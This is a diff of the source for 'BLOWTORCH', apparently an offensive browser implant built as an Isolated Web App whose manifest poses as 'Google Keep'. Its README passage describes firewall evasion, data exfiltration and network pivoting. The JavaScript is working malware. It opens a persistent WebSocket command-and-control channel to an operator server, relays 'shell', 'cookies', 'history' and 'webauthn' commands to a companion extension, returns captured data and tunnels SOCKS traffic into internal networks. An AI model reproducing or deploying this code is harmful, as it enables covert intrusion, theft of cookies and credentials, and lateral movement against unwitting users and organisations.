||||
- Traffic originates from browser process with legitimate network access
|
||||
- Can tunnel arbitrary protocols through HTTP/WebSocket connections
|
||||
|
||||
**Network Monitoring Bypass**:
|
||||
- Internal proxy traffic may not be logged by network monitoring
|
||||
- Encrypted WebSocket tunnel obscures actual traffic patterns
|
||||
- Browser networking stack may bypass some inspection tools
|
||||
|
||||
**Access Control Circumvention**:
|
||||
- Can access internal network resources through compromised browser
|
||||
- Bypasses application-level access controls
|
||||
- Enables lateral movement through internal networks
|
||||
|
||||
#### Attack Scenarios
|
||||
|
||||
**Network Pivoting**:
|
||||
```javascript
|
||||
// Attacker configures their tools to use browser SOCKS proxy
|
||||
// All traffic tunnels through compromised browser to internal network
|
||||
const proxyConfig = {
|
||||
host: 'victim-browser-ip',
|
||||
port: 1080, // BLOWTORCH SOCKS port
|
||||
type: 'socks5'
|
||||
};
|
||||
```
|
||||
|
||||
**Data Exfiltration**:
|
||||
- Tunnel sensitive data through legitimate browser connections
|
||||
- Bypass data loss prevention (DLP) systems
|
||||
- Use browser's existing network authentication
|
||||
|
||||
**Internal Service Access**:
|
||||
- Access internal web applications through browser's network context
|
||||
- Bypass VPN requirements for internal resources
|
||||
- Leverage browser's stored authentication credentials
|
||||
|
||||
### Isolated Web App (IWA) Integration
|
||||
|
||||
#### Understanding IWA Networking Privileges
|
||||
|
||||
Isolated Web Apps have enhanced networking capabilities:
|
||||
|
||||
**Extended Permissions**:
|
||||
- Access to Direct Sockets API without user prompts
|
||||
- Ability to listen on privileged ports (< 1024)
|
||||
- Enhanced security context for networking operations
|
||||
|
||||
**Installation Persistence**:
|
||||
- IWAs remain installed across browser updates
|
||||
- Networking services survive browser restarts
|
||||
- Can auto-start with browser launch
|
||||
|
||||
#### BLOWTORCH IWA Implementation
|
||||
|
||||
**Bundle Configuration**:
|
||||
```json
|
||||
{
|
||||
"name": "BLOWTORCH",
|
||||
"version": "1.0.0",
|
||||
"isolated": true,
|
||||
"permissions": [
|
||||
"direct-sockets"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**Enhanced Capabilities**:
|
||||
- Persistent SOCKS proxy service
|
||||
- No user prompts for network access
|
||||
- Lower detection risk due to legitimate IWA status
|
||||
|
||||
## BLOWTORCH Capabilities
|
||||
|
||||
### Command and Control
|
||||
- **Persistent C2 Channel** - Maintains encrypted WebSocket connection to cloud infrastructure
|
||||
- **Automatic Reconnection** - Implements exponential backoff for connection resilience
|
||||
- **Multi-Component Coordination** - Routes commands between IWA and extension contexts
|
||||
- **Real-time Communication** - Bi-directional messaging for interactive operations
|
||||
|
||||
### Cross-Component Bridge
|
||||
- **IWA-Extension Communication** - WebSocket server enables HOTWHEELS extension integration
|
||||
- **Message Broadcasting** - Distributes commands to all connected extension instances
|
||||
- **Large Data Handling** - Chunking support for transferring substantial datasets
|
||||
- **Protocol Translation** - Converts between C2 and extension message formats
|
||||
|
||||
### Network Pivoting
|
||||
- **SOCKS5 Proxy Server** - Full-featured proxy server using Direct Sockets API
|
||||
- **Internal Network Access** - Reach internal systems through compromised browser context
|
||||
- **Connection Multiplexing** - Handle multiple concurrent SOCKS connections
|
||||
- **Traffic Tunneling** - Encapsulate arbitrary network protocols over WebSocket
|
||||
|
||||
### Operational Features
|
||||
- **Browser Integration** - Leverages browser's existing network authentication and proxies
|
||||
- **Firewall Evasion** - Traffic appears as legitimate browser communications
|
||||
- **Multi-Protocol Support** - Handles IPv4, IPv6, and domain name connections
|
||||
- **Session Persistence** - Maintains long-lived channels for sustained operations
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"id": "/",
|
||||
"short_name": "Google Keep",
|
||||
"name": "Google Keep",
|
||||
"version": "1.0",
|
||||
"icons": [
|
||||
{
|
||||
"src": "/images/icons-vector.svg",
|
||||
"sizes": "48x48 72x72 96x96 128x128 256x256 512x512 1024x1024",
|
||||
"type": "image/svg+xml",
|
||||
"purpose": "any maskable"
|
||||
},
|
||||
{
|
||||
"src": "/images/icons-192.png",
|
||||
"type": "image/png",
|
||||
"sizes": "192x192",
|
||||
"purpose": "any maskable"
|
||||
},
|
||||
{
|
||||
"src": "/images/icons-512.png",
|
||||
"type": "image/png",
|
||||
"sizes": "512x512",
|
||||
"purpose": "any maskable"
|
||||
}
|
||||
],
|
||||
"start_url": "/",
|
||||
"display": "minimal-ui",
|
||||
"scope": "/",
|
||||
"permissions_policy": {
|
||||
"cross-origin-isolated": ["self"],
|
||||
"direct-sockets": ["self"],
|
||||
"direct-sockets-private": ["self"],
|
||||
"usb": ["self"],
|
||||
"usb-unrestricted": ["self"]
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 5.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg
|
||||
height="1024"
|
||||
width="1024"
|
||||
version="1.1"
|
||||
id="svg4"
|
||||
sodipodi:docname="icons-vector.svg"
|
||||
inkscape:version="1.1.2 (0a00cf5339, 2022-02-04)"
|
||||
inkscape:export-filename="/src/telnet-demo/src/images/icons-192.png"
|
||||
inkscape:export-xdpi="18"
|
||||
inkscape:export-ydpi="18"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:svg="http://www.w3.org/2000/svg">
|
||||
<defs
|
||||
id="defs8" />
|
||||
<sodipodi:namedview
|
||||
id="namedview6"
|
||||
pagecolor="#ffffff"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:pageopacity="0.0"
|
||||
inkscape:pagecheckerboard="0"
|
||||
showgrid="false"
|
||||
width="1024px"
|
||||
inkscape:zoom="0.56835938"
|
||||
inkscape:cx="342.21306"
|
||||
inkscape:cy="457.45704"
|
||||
inkscape:window-width="2214"
|
||||
inkscape:window-height="1129"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:current-layer="svg4" />
|
||||
<circle
|
||||
style="fill:#ad7fa8"
|
||||
id="path847"
|
||||
cx="512"
|
||||
cy="512"
|
||||
r="438.10309" />
|
||||
<path
|
||||
d="m 257.58419,751.45018 q -17.95876,0 -31.42783,-13.46908 -13.46908,-13.46908 -13.46908,-31.42783 V 317.44673 q 0,-17.95875 13.46908,-31.42783 13.46907,-13.46908 31.42783,-13.46908 h 508.83162 q 17.95876,0 31.42783,13.46908 13.46908,13.46908 13.46908,31.42783 v 389.10654 q 0,17.95875 -13.46908,31.42783 -13.46907,13.46908 -31.42783,13.46908 z m 0,-44.89691 h 508.83162 q 0,0 0,0 0,0 0,0 V 380.3024 H 257.58419 v 326.25087 q 0,0 0,0 0,0 0,0 z M 519.48281,655.67011 V 610.7732 h 164.62201 v 44.89691 z m -142.17353,-2.99313 -31.42784,-31.42784 77.07303,-77.82131 -77.82131,-77.8213 32.17612,-31.42784 109.24914,109.24914 z"
|
||||
id="path2"
|
||||
style="stroke-width:14.9657" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.9 KiB |
@@ -0,0 +1,44 @@
|
||||
/**
|
||||
* Copyright 2022 Google LLC
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
body {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-family: system-ui, -apple-system, sans-serif;
|
||||
}
|
||||
|
||||
.container {
|
||||
padding: 20px;
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.controls {
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
.controls button {
|
||||
padding: 10px 20px;
|
||||
margin-right: 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.status {
|
||||
padding: 10px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
min-height: 40px;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
{
|
||||
"name": "BLOWTORCH",
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"build:debug": "webpack --config webpack.wbn.cjs --node-env production",
|
||||
"build:prod": "webpack --config webpack.prod.wbn.cjs --node-env production",
|
||||
"dev": "webpack --mode development --watch",
|
||||
"generate-keys": "node scripts/generate-keys.js"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/core": "^7.22.0",
|
||||
"@babel/preset-env": "^7.22.0",
|
||||
"babel-loader": "^9.1.2",
|
||||
"clean-webpack-plugin": "^4.0.0",
|
||||
"copy-webpack-plugin": "^11.0.0",
|
||||
"css-loader": "^6.8.1",
|
||||
"dotenv": "^16.0.3",
|
||||
"html-webpack-plugin": "^5.5.0",
|
||||
"style-loader": "^3.3.3",
|
||||
"terser-webpack-plugin": "^5.3.9",
|
||||
"webpack": "^5.85.0",
|
||||
"webpack-cli": "^5.1.1",
|
||||
"webpack-dev-server": "^4.9.0",
|
||||
"webpack-merge": "^5.8.0",
|
||||
"wbn-sign": "^0.2.0",
|
||||
"webbundle-webpack-plugin": "^0.2.0"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
import { execSync } from 'child_process';
|
||||
import fs from 'fs';
|
||||
import { fileURLToPath } from 'url';
|
||||
import path from 'path';
|
||||
|
||||
const __filename = fileURLToPath(import.meta.url);
|
||||
const __dirname = path.dirname(__filename);
|
||||
const rootDir = path.join(__dirname, '..');
|
||||
|
||||
// Generate private key if it doesn't exist
|
||||
const privateKeyPath = path.join(rootDir, 'private.key');
|
||||
if (!fs.existsSync(privateKeyPath)) {
|
||||
console.log('Generating private key...');
|
||||
execSync(`openssl genpkey -algorithm ED25519 -out "${privateKeyPath}"`);
|
||||
console.log('Private key generated at:', privateKeyPath);
|
||||
}
|
||||
|
||||
// Generate certificate if it doesn't exist
|
||||
const certPath = path.join(rootDir, 'cert.pem');
|
||||
if (!fs.existsSync(certPath)) {
|
||||
console.log('Generating certificate...');
|
||||
execSync(`openssl req -x509 -key "${privateKeyPath}" -out "${certPath}" -days 365 -nodes -subj "/CN=localhost"`);
|
||||
console.log('Certificate generated at:', certPath);
|
||||
}
|
||||
|
||||
console.log('Key generation complete!');
|
||||
@@ -0,0 +1,49 @@
|
||||
import { SocksServer } from './socks-server.js';
|
||||
|
||||
let socksServer = null;
|
||||
|
||||
export async function startProxy() {
|
||||
try {
|
||||
console.log("Starting proxy...");
|
||||
// Use environment variables injected by webpack
|
||||
const wsUrl = "wss://" + process.env.WS_DOMAIN + ":443";
|
||||
const relayToken = process.env.RELAY_TOKEN;
|
||||
|
||||
console.log(`Connecting to WebSocket URL: ${wsUrl}`);
|
||||
|
||||
if (socksServer) {
|
||||
console.log("Proxy already exists, stopping first...");
|
||||
socksServer.stop();
|
||||
}
|
||||
|
||||
socksServer = new SocksServer(
|
||||
{
|
||||
"websocketUrl": wsUrl,
|
||||
"relayToken": relayToken
|
||||
}
|
||||
);
|
||||
updateStatus(`Creating WS Relay connection to ${wsUrl}`);
|
||||
await socksServer.start();
|
||||
} catch (err) {
|
||||
updateStatus(`Failed to start proxy: ${err.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
export function stopProxy() {
|
||||
if (socksServer) {
|
||||
socksServer.stop();
|
||||
socksServer = null;
|
||||
updateStatus('Proxy server stopped');
|
||||
}
|
||||
}
|
||||
|
||||
export function getRelayServer() {
|
||||
return socksServer;
|
||||
}
|
||||
|
||||
function updateStatus(message) {
|
||||
const statusElement = document.getElementById('status');
|
||||
if (statusElement) {
|
||||
statusElement.textContent = message;
|
||||
}
|
||||
}
|
||||
Vendored
+79
@@ -0,0 +1,79 @@
|
||||
/**
|
||||
* Copyright 2022 Google LLC
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
/* https://wicg.github.io/direct-sockets/#dom-tcpsocketoptions */
|
||||
interface TCPSocketOptions {
|
||||
sendBufferSize?: number;
|
||||
receiveBufferSize? : number;
|
||||
|
||||
noDelay?: boolean;
|
||||
keepAliveDelay?: number;
|
||||
}
|
||||
|
||||
/* https://wicg.github.io/direct-sockets/#dom-tcpsocketopeninfo */
|
||||
interface TCPSocketOpenInfo {
|
||||
readable: ReadableStream<Uint8Array>;
|
||||
writable: WritableStream<Uint8Array>;
|
||||
|
||||
remoteAddress: string;
|
||||
remotePort: number;
|
||||
|
||||
localAddress: string;
|
||||
localPort: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://wicg.github.io/direct-sockets/#dom-tcpsocket
|
||||
*/
|
||||
declare class TCPSocket {
|
||||
constructor(remoteAddress: string,
|
||||
remotePort: number,
|
||||
options?: TCPSocketOptions);
|
||||
|
||||
opened: Promise<TCPSocketOpenInfo>;
|
||||
closed: Promise<void>;
|
||||
|
||||
close(): Promise<void>;
|
||||
}
|
||||
|
||||
/* https://wicg.github.io/direct-sockets/#dom-tcpserversocketoptions */
|
||||
interface TCPServerSocketOptions {
|
||||
localPort?: number;
|
||||
backlog?: number;
|
||||
|
||||
ipv6Only?: boolean;
|
||||
}
|
||||
|
||||
/* https://wicg.github.io/direct-sockets/#dom-tcpserversocketopeninfo */
|
||||
interface TCPServerSocketOpenInfo {
|
||||
readable: ReadableStream<TCPSocket>;
|
||||
|
||||
localAddress: string;
|
||||
localPort: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://wicg.github.io/direct-sockets/#dom-tcpserversocket
|
||||
*/
|
||||
declare class TCPServerSocket {
|
||||
constructor(localAddress: string,
|
||||
options?: TCPServerSocketOptions);
|
||||
|
||||
opened: Promise<TCPServerSocketOpenInfo>;
|
||||
closed: Promise<void>;
|
||||
|
||||
close(): Promise<void>;
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
<!--
|
||||
Copyright 2022 Google LLC
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
-->
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>BLOWTORCH</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>BLOWTORCH SOCKS5 Proxy</h1>
|
||||
<div class="controls">
|
||||
<button id="startProxy">Start Proxy</button>
|
||||
<button id="stopProxy">Stop Proxy</button>
|
||||
</div>
|
||||
<div id="status" class="status"></div>
|
||||
</div>
|
||||
<script src="bundle.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,60 @@
|
||||
import { startProxy, stopProxy, getRelayServer } from './app.js';
|
||||
import {FirecrackerWebSocketServer, initializeFirecrackerServer, getFirecrackerServer} from'./websocket-server.js';
|
||||
|
||||
let firecrackerServer = null;
|
||||
|
||||
// Firecracker logging callback that outputs to main console
|
||||
function firecrackerLogCallback(message, ...args) {
|
||||
console.log(message, ...args);
|
||||
}
|
||||
|
||||
// Export getFirecrackerServer for external access
|
||||
export function getFirecrackerServerInstance() {
|
||||
return firecrackerServer || getFirecrackerServer();
|
||||
}
|
||||
|
||||
async function initializeApp() {
|
||||
console.log("Initializing app...");
|
||||
const startButton = document.getElementById('startProxy');
|
||||
const stopButton = document.getElementById('stopProxy');
|
||||
|
||||
if (startButton && stopButton) {
|
||||
startButton.removeEventListener('click', startProxy);
|
||||
stopButton.removeEventListener('click', stopProxy);
|
||||
|
||||
startButton.addEventListener('click', startProxy);
|
||||
stopButton.addEventListener('click', stopProxy);
|
||||
|
||||
await startProxy();
|
||||
firecrackerServer = await initializeFirecrackerServer(firecrackerLogCallback);
|
||||
}
|
||||
}
|
||||
|
||||
// Expose functions globally for devtools access
|
||||
window.getFirecrackerServerInstance = getFirecrackerServerInstance;
|
||||
window.broadcastToFirecracker = async function(message) {
|
||||
const server = getFirecrackerServerInstance();
|
||||
if (server && server.clientConnections) {
|
||||
let sent = 0;
|
||||
for (const [connectionId, connectionInfo] of server.clientConnections) {
|
||||
if (connectionInfo.isWebSocket) {
|
||||
await server.sendWebSocketMessage(connectionInfo, message);
|
||||
sent++;
|
||||
}
|
||||
}
|
||||
console.log(`Broadcast sent to ${sent} WebSocket connections`);
|
||||
return sent;
|
||||
} else {
|
||||
console.log("Server not available or no connections");
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
window.getRelayServer = getRelayServer;
|
||||
|
||||
// Wait for DOM to be ready
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', initializeApp);
|
||||
} else {
|
||||
initializeApp();
|
||||
}
|
||||
@@ -0,0 +1,573 @@
|
||||
export class SocksServer {
|
||||
constructor(options = {}) {
|
||||
this.port = options.port || 1080;
|
||||
this.websocketUrl = options.websocketUrl;
|
||||
this.relayToken = options.relayToken;
|
||||
this.server = null;
|
||||
this.ws = null;
|
||||
this.reconnectAttempts = 0;
|
||||
this.maxReconnectAttempts = options.maxReconnectAttempts || 60;
|
||||
this.baseReconnectDelay = options.baseReconnectDelay || 5000; // 5 seconds
|
||||
this.reconnectTimer = null;
|
||||
this.isReconnecting = false;
|
||||
this.connections = new Map(); // Move connections to class level for persistence across reconnects
|
||||
}
|
||||
|
||||
async startLocalSOCKSProxy() {
|
||||
try {
|
||||
const server = new TCPServerSocket('::');
|
||||
const {readable, localAddress, localPort} = await server.opened;
|
||||
console.log(`Listening on ${localAddress} port ${localPort}`);
|
||||
|
||||
const reader = readable.getReader();
|
||||
|
||||
for (;;) {
|
||||
const {value, done} = await reader.read();
|
||||
if (done) {
|
||||
console.log('Socket closed');
|
||||
break;
|
||||
}
|
||||
|
||||
await this.handleConnection(value);
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to start SOCKS server:', err);
|
||||
throw err;
|
||||
} finally {
|
||||
reader.releaseLock();
|
||||
}
|
||||
}
|
||||
|
||||
async sendCommandResponse(command, payload, taskId) {
|
||||
this.sendData({
|
||||
type: 'command_response',
|
||||
command,
|
||||
payload,
|
||||
taskId
|
||||
});
|
||||
}
|
||||
|
||||
async sendCapturedData(dataType, data) {
|
||||
this.sendData({
|
||||
type: 'captured_data',
|
||||
dataType,
|
||||
data
|
||||
});
|
||||
}
|
||||
|
||||
async sendData(jsonObj) {
|
||||
if (this.ws) {
|
||||
this.ws.send(JSON.stringify(jsonObj));
|
||||
}
|
||||
}
|
||||
|
||||
async startWebSocketProxy() {
|
||||
if (!this.websocketUrl || !this.relayToken) {
|
||||
throw new Error('WebSocket URL and relay token are required');
|
||||
}
|
||||
|
||||
try {
|
||||
// Clear any existing reconnect timer
|
||||
if (this.reconnectTimer) {
|
||||
clearTimeout(this.reconnectTimer);
|
||||
this.reconnectTimer = null;
|
||||
}
|
||||
|
||||
const url = new URL(this.websocketUrl);
|
||||
this.ws = new WebSocket(url.toString(), [`token.${this.relayToken}`]);
|
||||
const ws = this.ws;
|
||||
|
||||
// Use class-level connections map
|
||||
const connections = this.connections;
|
||||
|
||||
ws.onmessage = async (message) => {
|
||||
try {
|
||||
const data = JSON.parse(message.data);
|
||||
console.log(`Received WebSocket message:`, {
|
||||
type: data.type,
|
||||
connectionId: data.connectionId,
|
||||
dataLength: data.data ? data.data.length : 0
|
||||
});
|
||||
|
||||
if (data.type === 'command') {
|
||||
console.log(`Received command:`, data);
|
||||
|
||||
var commandObject = {
|
||||
data: data.payload,
|
||||
taskId: data.taskId,
|
||||
}
|
||||
|
||||
switch (data.command) {
|
||||
case 'dir':
|
||||
case 'ls':
|
||||
commandObject.type = 'ls_command_request';
|
||||
break;
|
||||
case 'shell':
|
||||
commandObject.type = 'shell_command_request';
|
||||
break;
|
||||
case 'cookies':
|
||||
commandObject.type = 'dump_cookies_request';
|
||||
break;
|
||||
case 'history':
|
||||
commandObject.type = 'dump_history_request';
|
||||
break;
|
||||
case 'webauthn':
|
||||
commandObject.type = 'webauthn_request';
|
||||
break;
|
||||
default:
|
||||
console.error(`Unknown command: ${data.command}`);
|
||||
return;
|
||||
}
|
||||
|
||||
window.broadcastToFirecracker(JSON.stringify(commandObject));
|
||||
return;
|
||||
}
|
||||
|
||||
if (data.type === 'connect') {
|
||||
try {
|
||||
const connectionId = data.connectionId;
|
||||
console.log(`[${connectionId}] Connecting to ${data.targetHost}:${data.targetPort}`);
|
||||
|
||||
// Initialize connection state FIRST
|
||||
console.log(`[${connectionId}] Initializing connection state`);
|
||||
connections.set(connectionId, {
|
||||
queue: [],
|
||||
resolver: null
|
||||
});
|
||||
|
||||
// Then start async operations
|
||||
const remote = new TCPSocket(data.targetHost, data.targetPort);
|
||||
const remoteConn = await remote.opened;
|
||||
console.log(`[${connectionId}] Connected to remote`);
|
||||
|
||||
const remoteReader = remoteConn.readable.getReader();
|
||||
const remoteWriter = remoteConn.writable.getWriter();
|
||||
|
||||
// Update connection state with remote info
|
||||
const conn = connections.get(connectionId);
|
||||
if (conn) { // Check if connection still exists (might have been cleaned up)
|
||||
Object.assign(conn, {
|
||||
remoteReader,
|
||||
remoteWriter
|
||||
});
|
||||
|
||||
// Create WebSocket reader/writer
|
||||
const wsSocket = {
|
||||
readable: {
|
||||
getReader: () => {
|
||||
console.log(`[${connectionId}] Creating WebSocket reader`);
|
||||
return ({
|
||||
read: async () => {
|
||||
const conn = connections.get(connectionId);
|
||||
if (!conn) {
|
||||
console.log(`[${connectionId}] Connection not found`);
|
||||
return { done: true };
|
||||
}
|
||||
|
||||
// Check queue first
|
||||
if (conn.queue.length > 0) {
|
||||
const msg = conn.queue.shift();
|
||||
console.log(`[${connectionId}] Processing queued message: ${msg.type}`);
|
||||
if (msg.type === 'close') return { done: true };
|
||||
if (msg.type === 'data') {
|
||||
const value = new Uint8Array(atob(msg.data).split('').map(c => c.charCodeAt(0)));
|
||||
console.log(`[${connectionId}] Decoded queued data: ${value.length} bytes`);
|
||||
return { value, done: false };
|
||||
}
|
||||
}
|
||||
|
||||
console.log(`[${connectionId}] Waiting for next message`);
|
||||
const msg = await new Promise(resolve => {
|
||||
conn.resolver = resolve;
|
||||
});
|
||||
conn.resolver = null;
|
||||
|
||||
console.log(`[${connectionId}] Received message: ${msg.type}`);
|
||||
if (msg.type === 'close') return { done: true };
|
||||
if (msg.type === 'data') {
|
||||
const value = new Uint8Array(atob(msg.data).split('').map(c => c.charCodeAt(0)));
|
||||
console.log(`[${connectionId}] Decoded data: ${value.length} bytes`);
|
||||
return { value, done: false };
|
||||
}
|
||||
return { done: true };
|
||||
},
|
||||
cancel: () => {
|
||||
console.log(`[${connectionId}] WebSocket reader cancelled`);
|
||||
connections.delete(connectionId);
|
||||
}
|
||||
});
|
||||
}
|
||||
},
|
||||
writable: {
|
||||
getWriter: () => ({
|
||||
write: async (chunk) => {
|
||||
console.log(`[${connectionId}] WebSocket writer sending ${chunk.length} bytes`);
|
||||
if (ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(JSON.stringify({
|
||||
type: 'data',
|
||||
connectionId: connectionId,
|
||||
data: btoa(String.fromCharCode.apply(null, chunk))
|
||||
}));
|
||||
} else {
|
||||
console.warn(`[${connectionId}] Cannot send data - WebSocket not open`);
|
||||
}
|
||||
},
|
||||
close: () => {
|
||||
console.log(`[${connectionId}] WebSocket writer closing`);
|
||||
if (ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(JSON.stringify({
|
||||
type: 'close',
|
||||
connectionId: connectionId
|
||||
}));
|
||||
}
|
||||
connections.delete(connectionId);
|
||||
}
|
||||
})
|
||||
}
|
||||
};
|
||||
|
||||
// Start proxy operation
|
||||
this.proxy(
|
||||
wsSocket.readable.getReader(),
|
||||
wsSocket.writable.getWriter(),
|
||||
remoteReader,
|
||||
remoteWriter
|
||||
).catch(e => console.error('Proxy error:', e));
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Connection failed:', e);
|
||||
if (ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(JSON.stringify({
|
||||
type: 'close',
|
||||
connectionId: data.connectionId
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else if (data.type === 'data' || data.type === 'close') {
|
||||
const conn = connections.get(data.connectionId);
|
||||
if (conn) {
|
||||
if (conn.resolver) {
|
||||
// If there's a waiting reader, deliver directly
|
||||
console.log(`[${data.connectionId}] Delivering message directly to waiting reader`);
|
||||
conn.resolver(data);
|
||||
} else {
|
||||
// Otherwise queue the message
|
||||
console.log(`[${data.connectionId}] Queueing message of type ${data.type}`);
|
||||
conn.queue.push(data);
|
||||
}
|
||||
} else {
|
||||
console.log(`[${data.connectionId}] No connection found for message`);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Error processing message:', e);
|
||||
}
|
||||
};
|
||||
|
||||
ws.onopen = () => {
|
||||
console.log('Connected to relay server');
|
||||
// Reset reconnect attempts on successful connection
|
||||
this.reconnectAttempts = 0;
|
||||
this.isReconnecting = false;
|
||||
};
|
||||
|
||||
ws.onclose = (event) => {
|
||||
console.log(`WebSocket connection closed: ${event.code} ${event.reason}`);
|
||||
this.scheduleReconnect();
|
||||
};
|
||||
|
||||
ws.onerror = (event) => {
|
||||
console.error('WebSocket error:', event);
|
||||
};
|
||||
|
||||
} catch (err) {
|
||||
console.error('Failed to start WebSocket proxy:', err);
|
||||
this.scheduleReconnect();
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
|
||||
scheduleReconnect() {
|
||||
// Don't schedule if already reconnecting
|
||||
if (this.isReconnecting) {
|
||||
return;
|
||||
}
|
||||
|
||||
this.isReconnecting = true;
|
||||
|
||||
// Check if we've exceeded max attempts
|
||||
if (this.maxReconnectAttempts > 0 && this.reconnectAttempts >= this.maxReconnectAttempts) {
|
||||
console.log(`Maximum reconnect attempts (${this.maxReconnectAttempts}) reached. Giving up.`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Calculate delay with exponential backoff
|
||||
const delay = Math.min(
|
||||
this.baseReconnectDelay * Math.pow(2, this.reconnectAttempts),
|
||||
60000 // Cap at 60 seconds
|
||||
);
|
||||
|
||||
this.reconnectAttempts++;
|
||||
|
||||
console.log(`Scheduling reconnect attempt ${this.reconnectAttempts} in ${delay}ms`);
|
||||
|
||||
// Clear any existing timer
|
||||
if (this.reconnectTimer) {
|
||||
clearTimeout(this.reconnectTimer);
|
||||
}
|
||||
|
||||
// Schedule reconnect
|
||||
this.reconnectTimer = setTimeout(() => {
|
||||
console.log(`Attempting to reconnect (attempt ${this.reconnectAttempts})...`);
|
||||
this.startWebSocketProxy().catch(err => {
|
||||
console.error('Reconnect attempt failed:', err);
|
||||
// The error handler in startWebSocketProxy will schedule another reconnect
|
||||
});
|
||||
}, delay);
|
||||
}
|
||||
|
||||
async start() {
|
||||
if (this.websocketUrl) {
|
||||
await this.startWebSocketProxy();
|
||||
} else {
|
||||
await this.startLocalSOCKSProxy();
|
||||
}
|
||||
}
|
||||
|
||||
async handleConnection(client) {
|
||||
const {readable, writable, remoteAddress, remotePort} = await client.opened;
|
||||
const reader = readable.getReader();
|
||||
const writer = writable.getWriter();
|
||||
|
||||
try {
|
||||
// Read SOCKS version
|
||||
const { value: init, done } = await reader.read();
|
||||
if (done) return;
|
||||
|
||||
if (init[0] !== 0x05) { // SOCKS5
|
||||
throw new Error('Unsupported SOCKS version');
|
||||
}
|
||||
|
||||
// Send auth method response (no auth)
|
||||
await writer.write(new Uint8Array([0x05, 0x00]));
|
||||
|
||||
// Read connection request
|
||||
const { value: request } = await reader.read();
|
||||
const cmd = request[1];
|
||||
const atyp = request[3];
|
||||
|
||||
if (cmd !== 0x01) { // Only support CONNECT
|
||||
throw new Error('Only CONNECT is supported');
|
||||
}
|
||||
|
||||
let addr;
|
||||
let port;
|
||||
|
||||
switch (atyp) {
|
||||
case 0x01: // IPv4
|
||||
addr = Array.from(request.slice(4, 8))
|
||||
.map(x => x.toString())
|
||||
.join('.');
|
||||
port = (request[8] << 8) + request[9];
|
||||
break;
|
||||
|
||||
case 0x03: // Domain name
|
||||
const addrLen = request[4];
|
||||
addr = new TextDecoder().decode(request.slice(5, 5 + addrLen));
|
||||
port = (request[5 + addrLen] << 8) + request[5 + addrLen + 1];
|
||||
break;
|
||||
|
||||
case 0x04: // IPv6
|
||||
// Group bytes into 16-bit chunks and format properly
|
||||
